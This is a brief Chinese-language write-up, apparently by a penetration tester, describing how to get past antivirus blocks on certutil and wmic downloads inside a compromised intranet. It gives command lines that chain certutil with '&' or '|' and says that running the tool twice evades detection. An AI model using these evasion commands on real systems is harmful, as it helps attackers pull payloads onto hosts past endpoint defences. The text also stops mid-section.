certutil&wmic繞過

前言

一般進內網過后我都會使用certutil下載文件，但在最近打一台內網機子的時候出現了certutil拒絕訪問的情況，在本地搭建了一個環境嘗試繞過certutil下載文件。

 

certutil繞過

安裝殺軟更新到最新版本，開啟所有防護，cmd下載certutil攔截如下：

 

 

 

 

方法一：用&和|繞過，語句如下

 

Certutil & Certutil –urlcache –f –split url

Certutil | Certutil –urlcache –f –split url

 

可以看到之前拒絕訪問后下載成功

 

 

方法二：二次執行certutil

 

先執行一次certutil，再執行下載語句

 

 

wmic繞過

想到這里，我試着用wmic方式下載，也是被攔截

 

 

 

 

於是嘗試了跟certutil相同的方法，方法二可行如下